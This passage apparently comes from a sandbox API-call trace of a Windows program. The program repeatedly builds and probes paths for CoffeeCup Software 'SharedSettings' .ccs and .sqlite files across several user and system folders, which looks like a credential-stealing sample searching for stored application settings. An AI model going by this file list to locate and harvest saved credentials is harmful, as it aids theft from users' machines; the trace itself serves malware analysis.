dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.459] LocalFree (hMem=0x643b68) returned 0x0 [0068.459] LocalFree (hMem=0x643aa8) returned 0x0 [0068.459] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.459] lstrlenA (lpString="\\SharedSettings.sqlite") returned 22 [0068.459] LocalAlloc (uFlags=0x40, uBytes=0xb7) returned 0x643aa8 [0068.460] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.460] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\SharedSettings.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.sqlite" [0068.460] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x38 [0068.460] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643b68 [0068.460] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.sqlite", lpDst=0x643b68, nSize=0x38 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.sqlite") returned 0x37 [0068.460] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\sharedsettings.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.460] LocalFree (hMem=0x643b68) returned 0x0 [0068.460] LocalFree (hMem=0x643aa8) returned 0x0 [0068.460] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.460] lstrlenA (lpString="\\SharedSettings_1_0_5.ccs") returned 25 [0068.460] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x641518 [0068.460] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.460] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\SharedSettings_1_0_5.ccs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.ccs") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.ccs" [0068.460] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3b [0068.460] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x645a90 [0068.460] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.ccs", lpDst=0x645a90, nSize=0x3b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.ccs") returned 0x3a [0068.460] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.ccs" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\sharedsettings_1_0_5.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.460] LocalFree (hMem=0x645a90) returned 0x0 [0068.460] LocalFree (hMem=0x641518) returned 0x0 [0068.460] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.460] lstrlenA (lpString="\\SharedSettings_1_0_5.sqlite") returned 28 [0068.460] LocalAlloc (uFlags=0x40, uBytes=0xbd) returned 0x641518 [0068.460] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.460] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\SharedSettings_1_0_5.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.sqlite" [0068.460] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3e [0068.460] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x645a90 [0068.460] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.sqlite", lpDst=0x645a90, nSize=0x3e | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.sqlite") returned 0x3d [0068.460] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\SharedSettings_1_0_5.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\sharedsettings_1_0_5.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.461] LocalFree (hMem=0x645a90) returned 0x0 [0068.461] LocalFree (hMem=0x641518) returned 0x0 [0068.461] LocalFree (hMem=0x626a88) returned 0x0 [0068.461] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.461] SHGetFolderPathA (in: hwnd=0x0, csidl=35, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\ProgramData") returned 0x0 [0068.461] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.461] lstrlenA (lpString="\\SharedSettings.ccs") returned 19 [0068.461] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x6292f8 [0068.461] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.461] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\SharedSettings.ccs" | out: lpString1="C:\\ProgramData\\SharedSettings.ccs") returned="C:\\ProgramData\\SharedSettings.ccs" [0068.461] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\SharedSettings.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x23 [0068.461] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x629248 [0068.461] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\SharedSettings.ccs", lpDst=0x629248, nSize=0x23 | out: lpDst="C:\\ProgramData\\SharedSettings.ccs") returned 0x22 [0068.461] CreateFileA (lpFileName="C:\\ProgramData\\SharedSettings.ccs" (normalized: "c:\\programdata\\sharedsettings.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.461] LocalFree (hMem=0x629248) returned 0x0 [0068.461] LocalFree (hMem=0x6292f8) returned 0x0 [0068.461] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.461] lstrlenA (lpString="\\SharedSettings.sqlite") returned 22 [0068.461] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0068.461] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.461] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\SharedSettings.sqlite" | out: lpString1="C:\\ProgramData\\SharedSettings.sqlite") returned="C:\\ProgramData\\SharedSettings.sqlite" [0068.461] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\SharedSettings.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x26 [0068.461] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x629248 [0068.461] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\SharedSettings.sqlite", lpDst=0x629248, nSize=0x26 | out: lpDst="C:\\ProgramData\\SharedSettings.sqlite") returned 0x25 [0068.461] CreateFileA (lpFileName="C:\\ProgramData\\SharedSettings.sqlite" (normalized: "c:\\programdata\\sharedsettings.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.461] LocalFree (hMem=0x629248) returned 0x0 [0068.461] LocalFree (hMem=0x6292f8) returned 0x0 [0068.461] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.462] lstrlenA (lpString="\\SharedSettings_1_0_5.ccs") returned 25 [0068.462] LocalAlloc (uFlags=0x40, uBytes=0xa8) returned 0x6292f8 [0068.462] lstrcpyA (in: lpString1=0x6292f8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.462] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\SharedSettings_1_0_5.ccs" | out: lpString1="C:\\ProgramData\\SharedSettings_1_0_5.ccs") returned="C:\\ProgramData\\SharedSettings_1_0_5.ccs" [0068.462] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\SharedSettings_1_0_5.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x29 [0068.462] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x641518 [0068.462] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\SharedSettings_1_0_5.ccs", lpDst=0x641518, nSize=0x29 | out: lpDst="C:\\ProgramData\\SharedSettings_1_0_5.ccs") returned 0x28 [0068.462] CreateFileA (lpFileName="C:\\ProgramData\\SharedSettings_1_0_5.ccs" (normalized: "c:\\programdata\\sharedsettings_1_0_5.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.462] LocalFree (hMem=0x641518) returned 0x0 [0068.462] LocalFree (hMem=0x6292f8) returned 0x0 [0068.462] lstrlenA (lpString="C:\\ProgramData") returned 14 [0068.462] lstrlenA (lpString="\\SharedSettings_1_0_5.sqlite") returned 28 [0068.462] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x641518 [0068.462] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData" [0068.462] lstrcatA (in: lpString1="C:\\ProgramData", lpString2="\\SharedSettings_1_0_5.sqlite" | out: lpString1="C:\\ProgramData\\SharedSettings_1_0_5.sqlite") returned="C:\\ProgramData\\SharedSettings_1_0_5.sqlite" [0068.462] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\SharedSettings_1_0_5.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x2c [0068.462] LocalAlloc (uFlags=0x40, uBytes=0xac) returned 0x6415d0 [0068.462] ExpandEnvironmentStringsA (in: lpSrc="C:\\ProgramData\\SharedSettings_1_0_5.sqlite", lpDst=0x6415d0, nSize=0x2c | out: lpDst="C:\\ProgramData\\SharedSettings_1_0_5.sqlite") returned 0x2b [0068.462] CreateFileA (lpFileName="C:\\ProgramData\\SharedSettings_1_0_5.sqlite" (normalized: "c:\\programdata\\sharedsettings_1_0_5.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.462] LocalFree (hMem=0x6415d0) returned 0x0 [0068.462] LocalFree (hMem=0x641518) returned 0x0 [0068.462] LocalFree (hMem=0x626a88) returned 0x0 [0068.462] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.462] SHGetFolderPathA (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Local") returned 0x0 [0068.462] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.462] lstrlenA (lpString="\\SharedSettings.ccs") returned 19 [0068.462] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x643aa8 [0068.462] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.462] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\SharedSettings.ccs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.ccs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.ccs" [0068.462] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x33 [0068.463] LocalAlloc (uFlags=0x40, uBytes=0xb3) returned 0x643b68 [0068.463] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.ccs", lpDst=0x643b68, nSize=0x33 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.ccs") returned 0x32 [0068.463] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.ccs" (normalized: "c:\\users\\eebsym5\\appdata\\local\\sharedsettings.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.463] LocalFree (hMem=0x643b68) returned 0x0 [0068.463] LocalFree (hMem=0x643aa8) returned 0x0 [0068.463] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.463] lstrlenA (lpString="\\SharedSettings.sqlite") returned 22 [0068.463] LocalAlloc (uFlags=0x40, uBytes=0xb5) returned 0x643aa8 [0068.463] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.463] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\SharedSettings.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.sqlite" [0068.463] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x36 [0068.463] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x643b68 [0068.463] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.sqlite", lpDst=0x643b68, nSize=0x36 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.sqlite") returned 0x35 [0068.463] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\local\\sharedsettings.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.463] LocalFree (hMem=0x643b68) returned 0x0 [0068.463] LocalFree (hMem=0x643aa8) returned 0x0 [0068.463] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.463] lstrlenA (lpString="\\SharedSettings_1_0_5.ccs") returned 25 [0068.463] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x643aa8 [0068.463] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.463] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\SharedSettings_1_0_5.ccs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.ccs") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.ccs" [0068.463] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x39 [0068.463] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x641518 [0068.463] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.ccs", lpDst=0x641518, nSize=0x39 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.ccs") returned 0x38 [0068.463] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.ccs" (normalized: "c:\\users\\eebsym5\\appdata\\local\\sharedsettings_1_0_5.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.463] LocalFree (hMem=0x641518) returned 0x0 [0068.463] LocalFree (hMem=0x643aa8) returned 0x0 [0068.463] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Local") returned 30 [0068.463] lstrlenA (lpString="\\SharedSettings_1_0_5.sqlite") returned 28 [0068.464] LocalAlloc (uFlags=0x40, uBytes=0xbb) returned 0x641518 [0068.464] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Local" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local") returned="C:\\Users\\EEBsYm5\\AppData\\Local" [0068.464] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local", lpString2="\\SharedSettings_1_0_5.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.sqlite" [0068.464] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3c [0068.464] LocalAlloc (uFlags=0x40, uBytes=0xbc) returned 0x645a90 [0068.464] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.sqlite", lpDst=0x645a90, nSize=0x3c | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.sqlite") returned 0x3b [0068.464] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Local\\SharedSettings_1_0_5.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\local\\sharedsettings_1_0_5.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.464] LocalFree (hMem=0x645a90) returned 0x0 [0068.464] LocalFree (hMem=0x641518) returned 0x0 [0068.464] LocalFree (hMem=0x626a88) returned 0x0 [0068.464] LocalAlloc (uFlags=0x40, uBytes=0x185) returned 0x626a88 [0068.464] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x626a88 | out: pszPath="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 0x0 [0068.464] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned 32 [0068.464] lstrlenA (lpString="\\CoffeeCup Software") returned 19 [0068.464] LocalAlloc (uFlags=0x40, uBytes=0xb4) returned 0x643aa8 [0068.464] lstrcpyA (in: lpString1=0x643aa8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming" [0068.464] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming", lpString2="\\CoffeeCup Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software" [0068.464] LocalFree (hMem=0x626a88) returned 0x0 [0068.464] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software") returned 51 [0068.464] lstrlenA (lpString="\\SharedSettings.ccs") returned 19 [0068.464] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x641518 [0068.464] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software" [0068.464] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software", lpString2="\\SharedSettings.ccs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.ccs") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.ccs" [0068.464] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x48 [0068.464] LocalAlloc (uFlags=0x40, uBytes=0xc8) returned 0x626a88 [0068.464] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.ccs", lpDst=0x626a88, nSize=0x48 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.ccs") returned 0x47 [0068.464] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.ccs" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\coffeecup software\\sharedsettings.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.464] LocalFree (hMem=0x626a88) returned 0x0 [0068.464] LocalFree (hMem=0x641518) returned 0x0 [0068.464] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software") returned 51 [0068.465] lstrlenA (lpString="\\SharedSettings.sqlite") returned 22 [0068.465] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x627248 [0068.465] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software" [0068.465] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software", lpString2="\\SharedSettings.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.sqlite" [0068.465] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x4b [0068.465] LocalAlloc (uFlags=0x40, uBytes=0xcb) returned 0x627320 [0068.465] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.sqlite", lpDst=0x627320, nSize=0x4b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.sqlite") returned 0x4a [0068.465] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\coffeecup software\\sharedsettings.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.465] LocalFree (hMem=0x627320) returned 0x0 [0068.465] LocalFree (hMem=0x627248) returned 0x0 [0068.465] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software") returned 51 [0068.465] lstrlenA (lpString="\\SharedSettings_1_0_5.ccs") returned 25 [0068.465] LocalAlloc (uFlags=0x40, uBytes=0xcd) returned 0x627248 [0068.465] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software" [0068.465] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software", lpString2="\\SharedSettings_1_0_5.ccs" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.ccs") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.ccs" [0068.465] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.ccs", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x4e [0068.465] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x627320 [0068.465] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.ccs", lpDst=0x627320, nSize=0x4e | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.ccs") returned 0x4d [0068.465] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.ccs" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\coffeecup software\\sharedsettings_1_0_5.ccs"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.465] LocalFree (hMem=0x627320) returned 0x0 [0068.465] LocalFree (hMem=0x627248) returned 0x0 [0068.466] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software") returned 51 [0068.466] lstrlenA (lpString="\\SharedSettings_1_0_5.sqlite") returned 28 [0068.466] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x627248 [0068.466] lstrcpyA (in: lpString1=0x627248, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software" [0068.466] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software", lpString2="\\SharedSettings_1_0_5.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite" [0068.466] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x51 [0068.466] LocalAlloc (uFlags=0x40, uBytes=0xd1) returned 0x641518 [0068.466] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup Software\\SharedSettings_1_0_5.sqlite", lpDst=0x641518, nSize=0x51 | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\CoffeeCup 